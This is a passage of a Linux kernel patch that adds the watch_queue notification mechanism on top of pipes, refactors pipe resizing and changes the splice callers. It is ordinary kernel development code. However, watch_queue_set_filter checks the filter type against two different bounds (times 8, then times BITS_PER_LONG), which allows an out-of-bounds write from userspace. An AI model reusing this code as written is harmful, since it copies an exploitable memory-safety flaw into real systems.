- size > pipe_max_size && !capable(CAP_SYS_RESOURCE))
- return -EPERM;
-
- user_bufs = account_pipe_buffers(pipe->user, pipe->ring_size, nr_slots);
-
- if (nr_slots > pipe->ring_size &&
- (too_many_pipe_buffers_hard(user_bufs) ||
- too_many_pipe_buffers_soft(user_bufs)) &&
- is_unprivileged_user()) {
- ret = -EPERM;
- goto out_revert_acct;
- }
+ unsigned int head, tail, mask, n;
/*
* We can shrink the pipe, if arg is greater than the ring occupancy.
@@ -1231,17 +1243,13 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
head = pipe->head;
tail = pipe->tail;
n = pipe_occupancy(pipe->head, pipe->tail);
- if (nr_slots < n) {
- ret = -EBUSY;
- goto out_revert_acct;
- }
+ if (nr_slots < n)
+ return -EBUSY;
bufs = kcalloc(nr_slots, sizeof(*bufs),
GFP_KERNEL_ACCOUNT | __GFP_NOWARN);
- if (unlikely(!bufs)) {
- ret = -ENOMEM;
- goto out_revert_acct;
- }
+ if (unlikely(!bufs))
+ return -ENOMEM;
/*
* The pipe array wraps around, so just start the new one at zero
@@ -1269,16 +1277,68 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
kfree(pipe->bufs);
pipe->bufs = bufs;
pipe->ring_size = nr_slots;
- pipe->max_usage = nr_slots;
+ if (pipe->max_usage > nr_slots)
+ pipe->max_usage = nr_slots;
pipe->tail = tail;
pipe->head = head;
/* This might have made more room for writers */
wake_up_interruptible(&pipe->wr_wait);
+ return 0;
+}
+
+/*
+ * Allocate a new array of pipe buffers and copy the info over. Returns the
+ * pipe size if successful, or return -ERROR on error.
+ */
+static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
+{
+ unsigned long user_bufs;
+ unsigned int nr_slots, size;
+ long ret = 0;
+
+#ifdef CONFIG_WATCH_QUEUE
+ if (pipe->watch_queue)
+ return -EBUSY;
+#endif
+
+ size = round_pipe_size(arg);
+ nr_slots = size >> PAGE_SHIFT;
+
+ if (!nr_slots)
+ return -EINVAL;
+
+ /*
+ * If trying to increase the pipe capacity, check that an
+ * unprivileged user is not trying to exceed various limits
+ * (soft limit check here, hard limit check just below).
+ * Decreasing the pipe capacity is always permitted, even
+ * if the user is currently over a limit.
+ */
+ if (nr_slots > pipe->max_usage &&
+ size > pipe_max_size && !capable(CAP_SYS_RESOURCE))
+ return -EPERM;
+
+ user_bufs = account_pipe_buffers(pipe->user, pipe->nr_accounted, nr_slots);
+
+ if (nr_slots > pipe->max_usage &&
+ (too_many_pipe_buffers_hard(user_bufs) ||
+ too_many_pipe_buffers_soft(user_bufs)) &&
+ pipe_is_unprivileged_user()) {
+ ret = -EPERM;
+ goto out_revert_acct;
+ }
+
+ ret = pipe_resize_ring(pipe, nr_slots);
+ if (ret < 0)
+ goto out_revert_acct;
+
+ pipe->max_usage = nr_slots;
+ pipe->nr_accounted = nr_slots;
return pipe->max_usage * PAGE_SIZE;
out_revert_acct:
- (void) account_pipe_buffers(pipe->user, nr_slots, pipe->ring_size);
+ (void) account_pipe_buffers(pipe->user, nr_slots, pipe->nr_accounted);
return ret;
}
@@ -1287,9 +1347,17 @@ static long pipe_set_size(struct pipe_inode_info *pipe, unsigned long arg)
* location, so checking ->i_pipe is not enough to verify that this is a
* pipe.
*/
-struct pipe_inode_info *get_pipe_info(struct file *file)
+struct pipe_inode_info *get_pipe_info(struct file *file, bool for_splice)
{
- return file->f_op == &pipefifo_fops ? file->private_data : NULL;
+ struct pipe_inode_info *pipe = file->private_data;
+
+ if (file->f_op != &pipefifo_fops || !pipe)
+ return NULL;
+#ifdef CONFIG_WATCH_QUEUE
+ if (for_splice && pipe->watch_queue)
+ return NULL;
+#endif
+ return pipe;
}
long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
@@ -1297,7 +1365,7 @@ long pipe_fcntl(struct file *file, unsigned int cmd, unsigned long arg)
struct pipe_inode_info *pipe;
long ret;
- pipe = get_pipe_info(file);
+ pipe = get_pipe_info(file, false);
if (!pipe)
return -EBADF;
diff --git a/fs/splice.c b/fs/splice.c
index d671936d0aad..6e6ea30c72b4 100644
--- a/fs/splice.c
+++ b/fs/splice.c
@@ -1118,8 +1118,8 @@ static long do_splice(struct file *in, loff_t __user *off_in,
loff_t offset;
long ret;
- ipipe = get_pipe_info(in);
- opipe = get_pipe_info(out);
+ ipipe = get_pipe_info(in, true);
+ opipe = get_pipe_info(out, true);
if (ipipe && opipe) {
if (off_in || off_out)
@@ -1278,7 +1278,7 @@ static int pipe_to_user(struct pipe_inode_info *pipe, struct pipe_buffer *buf,
static long vmsplice_to_user(struct file *file, struct iov_iter *iter,
unsigned int flags)
{
- struct pipe_inode_info *pipe = get_pipe_info(file);
+ struct pipe_inode_info *pipe = get_pipe_info(file, true);
struct splice_desc sd = {
.total_len = iov_iter_count(iter),
.flags = flags,
@@ -1313,7 +1313,7 @@ static long vmsplice_to_pipe(struct file *file, struct iov_iter *iter,
if (flags & SPLICE_F_GIFT)
buf_flag = PIPE_BUF_FLAG_GIFT;
- pipe = get_pipe_info(file);
+ pipe = get_pipe_info(file, true);
if (!pipe)
return -EBADF;
@@ -1766,8 +1766,8 @@ static int link_pipe(struct pipe_inode_info *ipipe,
static long do_tee(struct file *in, struct file *out, size_t len,
unsigned int flags)
{
- struct pipe_inode_info *ipipe = get_pipe_info(in);
- struct pipe_inode_info *opipe = get_pipe_info(out);
+ struct pipe_inode_info *ipipe = get_pipe_info(in, true);
+ struct pipe_inode_info *opipe = get_pipe_info(out, true);
int ret = -EINVAL;
/*
diff --git a/include/linux/pipe_fs_i.h b/include/linux/pipe_fs_i.h
index ae58fad7f1e0..1d3eaa233f4a 100644
--- a/include/linux/pipe_fs_i.h
+++ b/include/linux/pipe_fs_i.h
@@ -35,6 +35,7 @@ struct pipe_buffer {
* @tail: The point of buffer consumption
* @max_usage: The maximum number of slots that may be used in the ring
* @ring_size: total number of buffers (should be a power of 2)
+ * @nr_accounted: The amount this pipe accounts for in user->pipe_bufs
* @tmp_page: cached released page
* @readers: number of current readers of this pipe
* @writers: number of current writers of this pipe
@@ -45,6 +46,7 @@ struct pipe_buffer {
* @fasync_writers: writer side fasync
* @bufs: the circular array of pipe buffers
* @user: the user who created this pipe
+ * @watch_queue: If this pipe is a watch_queue, this is the stuff for that
**/
struct pipe_inode_info {
struct mutex mutex;
@@ -53,6 +55,7 @@ struct pipe_inode_info {
unsigned int tail;
unsigned int max_usage;
unsigned int ring_size;
+ unsigned int nr_accounted;
unsigned int readers;
unsigned int writers;
unsigned int files;
@@ -63,6 +66,9 @@ struct pipe_inode_info {
struct fasync_struct *fasync_writers;
struct pipe_buffer *bufs;
struct user_struct *user;
+#ifdef CONFIG_WATCH_QUEUE
+ struct watch_queue *watch_queue;
+#endif
};
/*
@@ -237,9 +243,20 @@ void pipe_buf_mark_unmergeable(struct pipe_buffer *buf);
extern const struct pipe_buf_operations nosteal_pipe_buf_ops;
+#ifdef CONFIG_WATCH_QUEUE
+unsigned long account_pipe_buffers(struct user_struct *user,
+ unsigned long old, unsigned long new);
+bool too_many_pipe_buffers_soft(unsigned long user_bufs);
+bool too_many_pipe_buffers_hard(unsigned long user_bufs);
+bool pipe_is_unprivileged_user(void);
+#endif
+
/* for F_SETPIPE_SZ and F_GETPIPE_SZ */
+#ifdef CONFIG_WATCH_QUEUE
+int pipe_resize_ring(struct pipe_inode_info *pipe, unsigned int nr_slots);
+#endif
long pipe_fcntl(struct file *, unsigned int, unsigned long arg);
-struct pipe_inode_info *get_pipe_info(struct file *file);
+struct pipe_inode_info *get_pipe_info(struct file *file, bool for_splice);
int create_pipe_files(struct file **, int);
unsigned int round_pipe_size(unsigned long size);
diff --git a/include/linux/watch_queue.h b/include/linux/watch_queue.h
new file mode 100644
index 000000000000..5e08db2adc31
--- /dev/null
+++ b/include/linux/watch_queue.h
@@ -0,0 +1,127 @@
+// SPDX-License-Identifier: GPL-2.0
+/* User-mappable watch queue
+ *
+ * Copyright (C) 2020 Red Hat, Inc. All Rights Reserved.
+ * Written by David Howells (dhowells at redhat.com)
+ *
+ * See Documentation/watch_queue.rst
+ */
+
+#ifndef _LINUX_WATCH_QUEUE_H
+#define _LINUX_WATCH_QUEUE_H
+
+#include <uapi/linux/watch_queue.h>
+#include <linux/kref.h>
+#include <linux/rcupdate.h>
+
+#ifdef CONFIG_WATCH_QUEUE
+
+struct cred;
+
+struct watch_type_filter {
+ enum watch_notification_type type;
+ __u32 subtype_filter[1]; /* Bitmask of subtypes to filter on */
+ __u32 info_filter; /* Filter on watch_notification::info */
+ __u32 info_mask; /* Mask of relevant bits in info_filter */
+};
+
+struct watch_filter {
+ union {
+ struct rcu_head rcu;
+ unsigned long type_filter[2]; /* Bitmask of accepted types */
+ };
+ u32 nr_filters; /* Number of filters */
+ struct watch_type_filter filters[];
+};
+
+struct watch_queue {
+ struct rcu_head rcu;
+ struct watch_filter __rcu *filter;
+ struct pipe_inode_info *pipe; /* The pipe we're using as a buffer */
+ struct hlist_head watches; /* Contributory watches */
+ struct page **notes; /* Preallocated notifications */
+ unsigned long *notes_bitmap; /* Allocation bitmap for notes */
+ struct kref usage; /* Object usage count */
+ spinlock_t lock;
+ unsigned int nr_notes; /* Number of notes */
+ unsigned int nr_pages; /* Number of pages in notes[] */
+ bool defunct; /* T when queues closed */
+};
+
+/*
+ * Representation of a watch on an object.
+ */
+struct watch {
+ union {
+ struct rcu_head rcu;
+ u32 info_id; /* ID to be OR'd in to info field */
+ };
+ struct watch_queue __rcu *queue; /* Queue to post events to */
+ struct hlist_node queue_node; /* Link in queue->watches */
+ struct watch_list __rcu *watch_list;
+ struct hlist_node list_node; /* Link in watch_list->watchers */
+ const struct cred *cred; /* Creds of the owner of the watch */
+ void *private; /* Private data for the watched object */
+ u64 id; /* Internal identifier */
+ struct kref usage; /* Object usage count */
+};
+
+/*
+ * List of watches on an object.
+ */
+struct watch_list {
+ struct rcu_head rcu;
+ struct hlist_head watchers;
+ void (*release_watch)(struct watch *);
+ spinlock_t lock;
+};
+
+extern void __post_watch_notification(struct watch_list *,
+ struct watch_notification *,
+ const struct cred *,
+ u64);
+extern struct watch_queue *get_watch_queue(int);
+extern void put_watch_queue(struct watch_queue *);
+extern void init_watch(struct watch *, struct watch_queue *);
+extern int add_watch_to_object(struct watch *, struct watch_list *);
+extern int remove_watch_from_object(struct watch_list *, struct watch_queue *, u64, bool);
+extern long watch_queue_set_size(struct pipe_inode_info *, unsigned int);
+extern long watch_queue_set_filter(struct pipe_inode_info *,
+ struct watch_notification_filter __user *);
+extern int watch_queue_init(struct pipe_inode_info *);
+extern void watch_queue_clear(struct watch_queue *);
+
+static inline void init_watch_list(struct watch_list *wlist,
+ void (*release_watch)(struct watch *))
+{
+ INIT_HLIST_HEAD(&wlist->watchers);
+ spin_lock_init(&wlist->lock);
+ wlist->release_watch = release_watch;
+}
+
+static inline void post_watch_notification(struct watch_list *wlist,
+ struct watch_notification *n,
+ const struct cred *cred,
+ u64 id)
+{
+ if (unlikely(wlist))
+ __post_watch_notification(wlist, n, cred, id);
+}
+
+static inline void remove_watch_list(struct watch_list *wlist, u64 id)
+{
+ if (wlist) {
+ remove_watch_from_object(wlist, NULL, id, true);
+ kfree_rcu(wlist, rcu);
+ }
+}
+
+/**
+ * watch_sizeof - Calculate the information part of the size of a watch record,
+ * given the structure size.
+ */
+#define watch_sizeof(STRUCT) (sizeof(STRUCT) << WATCH_INFO_LENGTH__SHIFT)
+
+#endif
+
+#endif /* _LINUX_WATCH_QUEUE_H */
diff --git a/include/uapi/linux/watch_queue.h b/include/uapi/linux/watch_queue.h
index 9df72227f515..3a5790f1f05d 100644
--- a/include/uapi/linux/watch_queue.h
+++ b/include/uapi/linux/watch_queue.h
@@ -4,9 +4,13 @@
#include <linux/types.h>
#include <linux/fcntl.h>
+#include <linux/ioctl.h>
#define O_NOTIFICATION_PIPE O_EXCL /* Parameter to pipe2() selecting notification pipe */
+#define IOC_WATCH_QUEUE_SET_SIZE _IO('W', 0x60) /* Set the size in pages */
+#define IOC_WATCH_QUEUE_SET_FILTER _IO('W', 0x61) /* Set the filter */
+
enum watch_notification_type {
WATCH_TYPE_META = 0, /* Special record */
WATCH_TYPE__NR = 1
@@ -41,6 +45,22 @@ struct watch_notification {
#define WATCH_INFO_FLAG_7 0x00800000
};
+/*
+ * Notification filtering rules (IOC_WATCH_QUEUE_SET_FILTER).
+ */
+struct watch_notification_type_filter {
+ __u32 type; /* Type to apply filter to */
+ __u32 info_filter; /* Filter on watch_notification::info */
+ __u32 info_mask; /* Mask of relevant bits in info_filter */
+ __u32 subtype_filter[8]; /* Bitmask of subtypes to filter on */
+};
+
+struct watch_notification_filter {
+ __u32 nr_filters; /* Number of filters */
+ __u32 __reserved; /* Must be 0 */
+ struct watch_notification_type_filter filters[];
+};
+
/*
* Extended watch removal notification. This is used optionally if the type
diff --git a/init/Kconfig b/init/Kconfig
index 452bc1835cd4..5432803d8efc 100644
--- a/init/Kconfig
+++ b/init/Kconfig
@@ -339,6 +339,18 @@ config POSIX_MQUEUE_SYSCTL
depends on SYSCTL
default y
+config WATCH_QUEUE
+ bool "General notification queue"
+ default n
+ help
+
+ This is a general notification queue for the kernel to pass events to
+ userspace by splicing them into pipes. It can be used in conjunction
+ with watches for key/keyring change notifications and device
+ notifications.
+
+ See Documentation/watch_queue.rst
+
config CROSS_MEMORY_ATTACH
bool "Enable process_vm_readv/writev syscalls"
depends on MMU
diff --git a/kernel/Makefile b/kernel/Makefile
index 4cb4130ced32..41e7e3ae07ec 100644
--- a/kernel/Makefile
+++ b/kernel/Makefile
@@ -115,6 +115,7 @@ obj-$(CONFIG_TORTURE_TEST) += torture.o
obj-$(CONFIG_HAS_IOMEM) += iomem.o
obj-$(CONFIG_RSEQ) += rseq.o
+obj-$(CONFIG_WATCH_QUEUE) += watch_queue.o
obj-$(CONFIG_SYSCTL_KUNIT_TEST) += sysctl-test.o
diff --git a/kernel/watch_queue.c b/kernel/watch_queue.c
new file mode 100644
index 000000000000..c103e34f8705
--- /dev/null
+++ b/kernel/watch_queue.c
@@ -0,0 +1,657 @@
+// SPDX-License-Identifier: GPL-2.0
+/* Watch queue and general notification mechanism, built on pipes
+ *
+ * Copyright (C) 2020 Red Hat, Inc. All Rights Reserved.
+ * Written by David Howells (dhowells at redhat.com)
+ *
+ * See Documentation/watch_queue.rst
+ */
+
+#define pr_fmt(fmt) "watchq: " fmt
+#include <linux/module.h>
+#include <linux/init.h>
+#include <linux/sched.h>
+#include <linux/slab.h>
+#include <linux/printk.h>
+#include <linux/miscdevice.h>
+#include <linux/fs.h>
+#include <linux/mm.h>
+#include <linux/pagemap.h>
+#include <linux/poll.h>
+#include <linux/uaccess.h>
+#include <linux/vmalloc.h>
+#include <linux/file.h>
+#include <linux/security.h>
+#include <linux/cred.h>
+#include <linux/sched/signal.h>
+#include <linux/watch_queue.h>
+#include <linux/pipe_fs_i.h>
+
+MODULE_DESCRIPTION("Watch queue");
+MODULE_AUTHOR("Red Hat, Inc.");
+MODULE_LICENSE("GPL");
+
+#define WATCH_QUEUE_NOTE_SIZE 128
+#define WATCH_QUEUE_NOTES_PER_PAGE (PAGE_SIZE / WATCH_QUEUE_NOTE_SIZE)
+
+static void watch_queue_pipe_buf_release(struct pipe_inode_info *pipe,
+ struct pipe_buffer *buf)
+{
+ struct watch_queue *wqueue = (struct watch_queue *)buf->private;
+ struct page *page;
+ unsigned int bit;
+
+ /* We need to work out which note within the page this refers to, but
+ * the note might have been maximum size, so merely ANDing the offset
+ * off doesn't work. OTOH, the note must've been more than zero size.
+ */
+ bit = buf->offset + buf->len;
+ if ((bit & (WATCH_QUEUE_NOTE_SIZE - 1)) == 0)
+ bit -= WATCH_QUEUE_NOTE_SIZE;
+ bit /= WATCH_QUEUE_NOTE_SIZE;
+
+ page = buf->page;
+ bit += page->index;
+
+ set_bit(bit, wqueue->notes_bitmap);
+}
+
+static int watch_queue_pipe_buf_steal(struct pipe_inode_info *pipe,
+ struct pipe_buffer *buf)
+{
+ return -1; /* No. */
+}
+
+/* New data written to a pipe may be appended to a buffer with this type. */
+static const struct pipe_buf_operations watch_queue_pipe_buf_ops = {
+ .confirm = generic_pipe_buf_confirm,
+ .release = watch_queue_pipe_buf_release,
+ .steal = watch_queue_pipe_buf_steal,
+ .get = generic_pipe_buf_get,
+};
+
+/*
+ * Post a notification to a watch queue.
+ */
+static bool post_one_notification(struct watch_queue *wqueue,
+ struct watch_notification *n)
+{
+ void *p;
+ struct pipe_inode_info *pipe = wqueue->pipe;
+ struct pipe_buffer *buf;
+ struct page *page;
+ unsigned int head, tail, mask, note, offset, len;
+ bool done = false;
+
+ if (!pipe)
+ return false;
+
+ spin_lock_irq(&pipe->rd_wait.lock);
+
+ if (wqueue->defunct)
+ goto out;
+
+ mask = pipe->ring_size - 1;
+ head = pipe->head;
+ tail = pipe->tail;
+ if (pipe_full(head, tail, pipe->ring_size))
+ goto lost;
+
+ note = find_first_bit(wqueue->notes_bitmap, wqueue->nr_notes);
+ if (note >= wqueue->nr_notes)
+ goto lost;
+
+ page = wqueue->notes[note / WATCH_QUEUE_NOTES_PER_PAGE];
+ offset = note % WATCH_QUEUE_NOTES_PER_PAGE * WATCH_QUEUE_NOTE_SIZE;
+ get_page(page);
+ len = n->info & WATCH_INFO_LENGTH;
+ p = kmap_atomic(page);
+ memcpy(p + offset, n, len);
+ kunmap_atomic(p);
+
+ buf = &pipe->bufs[head & mask];
+ buf->page = page;
+ buf->private = (unsigned long)wqueue;
+ buf->ops = &watch_queue_pipe_buf_ops;
+ buf->offset = offset;
+ buf->len = len;
+ buf->flags = 0;
+ pipe->head = head + 1;
+
+ if (!test_and_clear_bit(note, wqueue->notes_bitmap)) {
+ spin_unlock_irq(&pipe->rd_wait.lock);
+ BUG();
+ }
+ wake_up_interruptible_sync_poll_locked(&pipe->rd_wait, EPOLLIN | EPOLLRDNORM);
+ done = true;
+
+out:
+ spin_unlock_irq(&pipe->rd_wait.lock);
+ if (done)
+ kill_fasync(&pipe->fasync_readers, SIGIO, POLL_IN);
+ return done;
+
+lost:
+ goto out;
+}
+
+/*
+ * Apply filter rules to a notification.
+ */
+static bool filter_watch_notification(const struct watch_filter *wf,
+ const struct watch_notification *n)
+{
+ const struct watch_type_filter *wt;
+ unsigned int st_bits = sizeof(wt->subtype_filter[0]) * 8;
+ unsigned int st_index = n->subtype / st_bits;
+ unsigned int st_bit = 1U << (n->subtype % st_bits);
+ int i;
+
+ if (!test_bit(n->type, wf->type_filter))
+ return false;
+
+ for (i = 0; i < wf->nr_filters; i++) {
+ wt = &wf->filters[i];
+ if (n->type == wt->type &&
+ (wt->subtype_filter[st_index] & st_bit) &&
+ (n->info & wt->info_mask) == wt->info_filter)
+ return true;
+ }
+
+ return false; /* If there is a filter, the default is to reject. */
+}
+
+/**
+ * __post_watch_notification - Post an event notification
+ * @wlist: The watch list to post the event to.
+ * @n: The notification record to post.
+ * @cred: The creds of the process that triggered the notification.
+ * @id: The ID to match on the watch.
+ *
+ * Post a notification of an event into a set of watch queues and let the users
+ * know.
+ *
+ * The size of the notification should be set in n->info & WATCH_INFO_LENGTH and
+ * should be in units of sizeof(*n).
+ */
+void __post_watch_notification(struct watch_list *wlist,
+ struct watch_notification *n,
+ const struct cred *cred,
+ u64 id)
+{
+ const struct watch_filter *wf;
+ struct watch_queue *wqueue;
+ struct watch *watch;
+
+ if (((n->info & WATCH_INFO_LENGTH) >> WATCH_INFO_LENGTH__SHIFT) == 0) {
+ WARN_ON(1);
+ return;
+ }
+
+ rcu_read_lock();
+
+ hlist_for_each_entry_rcu(watch, &wlist->watchers, list_node) {
+ if (watch->id != id)
+ continue;
+ n->info &= ~WATCH_INFO_ID;
+ n->info |= watch->info_id;
+
+ wqueue = rcu_dereference(watch->queue);
+ wf = rcu_dereference(wqueue->filter);
+ if (wf && !filter_watch_notification(wf, n))
+ continue;
+
+ if (security_post_notification(watch->cred, cred, n) < 0)
+ continue;
+
+ post_one_notification(wqueue, n);
+ }
+
+ rcu_read_unlock();
+}
+EXPORT_SYMBOL(__post_watch_notification);
+
+/*
+ * Allocate sufficient pages to preallocation for the requested number of
+ * notifications.
+ */
+long watch_queue_set_size(struct pipe_inode_info *pipe, unsigned int nr_notes)
+{
+ struct watch_queue *wqueue = pipe->watch_queue;
+ struct page **pages;
+ unsigned long *bitmap;
+ unsigned long user_bufs;
+ unsigned int bmsize;
+ int ret, i, nr_pages;
+
+ if (!wqueue)
+ return -ENODEV;
+ if (wqueue->notes)
+ return -EBUSY;
+
+ if (nr_notes < 1 ||
+ nr_notes > 512) /* TODO: choose a better hard limit */
+ return -EINVAL;
+
+ nr_pages = (nr_notes + WATCH_QUEUE_NOTES_PER_PAGE - 1);
+ nr_pages /= WATCH_QUEUE_NOTES_PER_PAGE;
+ user_bufs = account_pipe_buffers(pipe->user, pipe->nr_accounted, nr_pages);
+
+ if (nr_pages > pipe->max_usage &&
+ (too_many_pipe_buffers_hard(user_bufs) ||
+ too_many_pipe_buffers_soft(user_bufs)) &&
+ pipe_is_unprivileged_user()) {
+ ret = -EPERM;
+ goto error;
+ }
+
+ ret = pipe_resize_ring(pipe, nr_notes);
+ if (ret < 0)
+ goto error;
+
+ pages = kcalloc(sizeof(struct page *), nr_pages, GFP_KERNEL);
+ if (!pages)
+ goto error;
+
+ for (i = 0; i < nr_pages; i++) {
+ pages[i] = alloc_page(GFP_KERNEL);
+ if (!pages[i])
+ goto error_p;
+ pages[i]->index = i * WATCH_QUEUE_NOTES_PER_PAGE;
+ }
+
+ bmsize = (nr_notes + BITS_PER_LONG - 1) / BITS_PER_LONG;
+ bmsize *= sizeof(unsigned long);
+ bitmap = kmalloc(bmsize, GFP_KERNEL);
+ if (!bitmap)
+ goto error_p;
+
+ memset(bitmap, 0xff, bmsize);
+ wqueue->notes = pages;
+ wqueue->notes_bitmap = bitmap;
+ wqueue->nr_pages = nr_pages;
+ wqueue->nr_notes = nr_pages * WATCH_QUEUE_NOTES_PER_PAGE;
+ return 0;
+
+error_p:
+ for (i = 0; i < nr_pages; i++)
+ __free_page(pages[i]);
+ kfree(pages);
+error:
+ (void) account_pipe_buffers(pipe->user, nr_pages, pipe->nr_accounted);
+ return ret;
+}
+
+/*
+ * Set the filter on a watch queue.
+ */
+long watch_queue_set_filter(struct pipe_inode_info *pipe,
+ struct watch_notification_filter __user *_filter)
+{
+ struct watch_notification_type_filter *tf;
+ struct watch_notification_filter filter;
+ struct watch_type_filter *q;
+ struct watch_filter *wfilter;
+ struct watch_queue *wqueue = pipe->watch_queue;
+ int ret, nr_filter = 0, i;
+
+ if (!wqueue)
+ return -ENODEV;
+
+ if (!_filter) {
+ /* Remove the old filter */
+ wfilter = NULL;
+ goto set;
+ }
+
+ /* Grab the user's filter specification */
+ if (copy_from_user(&filter, _filter, sizeof(filter)) != 0)
+ return -EFAULT;
+ if (filter.nr_filters == 0 ||
+ filter.nr_filters > 16 ||
+ filter.__reserved != 0)
+ return -EINVAL;
+
+ tf = memdup_user(_filter->filters, filter.nr_filters * sizeof(*tf));
+ if (IS_ERR(tf))
+ return PTR_ERR(tf);
+
+ ret = -EINVAL;
+ for (i = 0; i < filter.nr_filters; i++) {
+ if ((tf[i].info_filter & ~tf[i].info_mask) ||
+ tf[i].info_mask & WATCH_INFO_LENGTH)
+ goto err_filter;
+ /* Ignore any unknown types */
+ if (tf[i].type >= sizeof(wfilter->type_filter) * 8)
+ continue;
+ nr_filter++;
+ }
+
+ /* Now we need to build the internal filter from only the relevant
+ * user-specified filters.
+ */
+ ret = -ENOMEM;
+ wfilter = kzalloc(struct_size(wfilter, filters, nr_filter), GFP_KERNEL);
+ if (!wfilter)
+ goto err_filter;
+ wfilter->nr_filters = nr_filter;
+
+ q = wfilter->filters;
+ for (i = 0; i < filter.nr_filters; i++) {
+ if (tf[i].type >= sizeof(wfilter->type_filter) * BITS_PER_LONG)
+ continue;
+
+ q->type = tf[i].type;
+ q->info_filter = tf[i].info_filter;
+ q->info_mask = tf[i].info_mask;
+ q->subtype_filter[0] = tf[i].subtype_filter[0];
+ __set_bit(q->type, wfilter->type_filter);
+ q++;
+ }
+
+ kfree(tf);
+set:
+ pipe_lock(pipe);
+ wfilter = rcu_replace_pointer(wqueue->filter, wfilter,
+ lockdep_is_held(&pipe->mutex));
+ pipe_unlock(pipe);
+ if (wfilter)
+ kfree_rcu(wfilter, rcu);
+ return 0;
+
+err_filter:
+ kfree(tf);
+ return ret;
+}
+
+static void __put_watch_queue(struct kref *kref)
+{
+ struct watch_queue *wqueue =
+ container_of(kref, struct watch_queue, usage);
+ struct watch_filter *wfilter;
+ int i;
+
+ for (i = 0; i < wqueue->nr_pages; i++)
+ __free_page(wqueue->notes[i]);
+
+ wfilter = rcu_access_pointer(wqueue->filter);
+ if (wfilter)
+ kfree_rcu(wfilter, rcu);
+ kfree_rcu(wqueue, rcu);
+}
+
+/**
+ * put_watch_queue - Dispose of a ref on a watchqueue.
+ * @wqueue: The watch queue to unref.
+ */
+void put_watch_queue(struct watch_queue *wqueue)
+{
+ kref_put(&wqueue->usage, __put_watch_queue);
+}
+EXPORT_SYMBOL(put_watch_queue);
+
+static void free_watch(struct rcu_head *rcu)
+{
+ struct watch *watch = container_of(rcu, struct watch, rcu);
+
+ put_watch_queue(rcu_access_pointer(watch->queue));
+ put_cred(watch->cred);
+}
+
+static void __put_watch(struct kref *kref)
+{
+ struct watch *watch = container_of(kref, struct watch, usage);
+
+ call_rcu(&watch->rcu, free_watch);
+}
+
+/*
+ * Discard a watch.
+ */
+static void put_watch(struct watch *watch)
+{
+ kref_put(&watch->usage, __put_watch);
+}
+
+/**
+ * init_watch_queue - Initialise a watch
+ * @watch: The watch to initialise.
+ * @wqueue: The queue to assign.
+ *
+ * Initialise a watch and set the watch queue.
+ */
+void init_watch(struct watch *watch, struct watch_queue *wqueue)
+{
+ kref_init(&watch->usage);
+ INIT_HLIST_NODE(&watch->list_node);
+ INIT_HLIST_NODE(&watch->queue_node);
+ rcu_assign_pointer(watch->queue, wqueue);
+}
+
+/**
+ * add_watch_to_object - Add a watch on an object to a watch list
+ * @watch: The watch to add
+ * @wlist: The watch list to add to
+ *
+ * @watch->queue must have been set to point to the queue to post notifications
+ * to and the watch list of the object to be watched. @watch->cred must also
+ * have been set to the appropriate credentials and a ref taken on them.
+ *
+ * The caller must pin the queue and the list both and must hold the list
+ * locked against racing watch additions/removals.
+ */
+int add_watch_to_object(struct watch *watch, struct watch_list *wlist)
+{
+ struct watch_queue *wqueue = rcu_access_pointer(watch->queue);
+ struct watch *w;
+
+ hlist_for_each_entry(w, &wlist->watchers, list_node) {
+ struct watch_queue *wq = rcu_access_pointer(w->queue);
+ if (wqueue == wq && watch->id == w->id)
+ return -EBUSY;
+ }
+
+ watch->cred = get_current_cred();
+ rcu_assign_pointer(watch->watch_list, wlist);
+
+ spin_lock_bh(&wqueue->lock);
+ kref_get(&wqueue->usage);
+ kref_get(&watch->usage);
+ hlist_add_head(&watch->queue_node, &wqueue->watches);
+ spin_unlock_bh(&wqueue->lock);
+
+ hlist_add_head(&watch->list_node, &wlist->watchers);
+ return 0;
+}
+EXPORT_SYMBOL(add_watch_to_object);
+
+/**
+ * remove_watch_from_object - Remove a watch or all watches from an object.
+ * @wlist: The watch list to remove from
+ * @wq: The watch queue of interest (ignored if @all is true)
+ * @id: The ID of the watch to remove (ignored if @all is true)
+ * @all: True to remove all objects
+ *
+ * Remove a specific watch or all watches from an object. A notification is
+ * sent to the watcher to tell them that this happened.
+ */
+int remove_watch_from_object(struct watch_list *wlist, struct watch_queue *wq,
+ u64 id, bool all)
+{
+ struct watch_notification_removal n;
+ struct watch_queue *wqueue;
+ struct watch *watch;
+ int ret = -EBADSLT;
+
+ rcu_read_lock();
+
+again:
+ spin_lock(&wlist->lock);
+ hlist_for_each_entry(watch, &wlist->watchers, list_node) {
+ if (all ||
+ (watch->id == id && rcu_access_pointer(watch->queue) == wq))
+ goto found;
+ }
+ spin_unlock(&wlist->lock);
+ goto out;
+
+found:
+ ret = 0;
+ hlist_del_init_rcu(&watch->list_node);
+ rcu_assign_pointer(watch->watch_list, NULL);
+ spin_unlock(&wlist->lock);
+
+ /* We now own the reference on watch that used to belong to wlist. */
+
+ n.watch.type = WATCH_TYPE_META;
+ n.watch.subtype = WATCH_META_REMOVAL_NOTIFICATION;
+ n.watch.info = watch->info_id | watch_sizeof(n.watch);
+ n.id = id;
+ if (id != 0)
+ n.watch.info = watch->info_id | watch_sizeof(n);
+
+ wqueue = rcu_dereference(watch->queue);
+
+ /* We don't need the watch list lock for the next bit as RCU is
+ * protecting *wqueue from deallocation.
+ */
+ if (wqueue) {
+ post_one_notification(wqueue, &n.watch);
+
+ spin_lock_bh(&wqueue->lock);
+
+ if (!hlist_unhashed(&watch->queue_node)) {
+ hlist_del_init_rcu(&watch->queue_node);
+ put_watch(watch);
+ }
+
+ spin_unlock_bh(&wqueue->lock);
+ }
+
+ if (wlist->release_watch) {
+ void (*release_watch)(struct watch *);
+
+ release_watch = wlist->release_watch;
+ rcu_read_unlock();
+ (*release_watch)(watch);
+ rcu_read_lock();
+ }
+ put_watch(watch);
+
+ if (all && !hlist_empty(&wlist->watchers))
+ goto again;
+out:
+ rcu_read_unlock();
+ return ret;
+}
+EXPORT_SYMBOL(remove_watch_from_object);
+
+/*
+ * Remove all the watches that are contributory to a queue. This has the
+ * potential to race with removal of the watches by the destruction of the
+ * objects being watched or with the distribution of notifications.
+ */
+void watch_queue_clear(struct watch_queue *wqueue)
+{
+ struct watch_list *wlist;
+ struct watch *watch;
+ bool release;
+
+ rcu_read_lock();
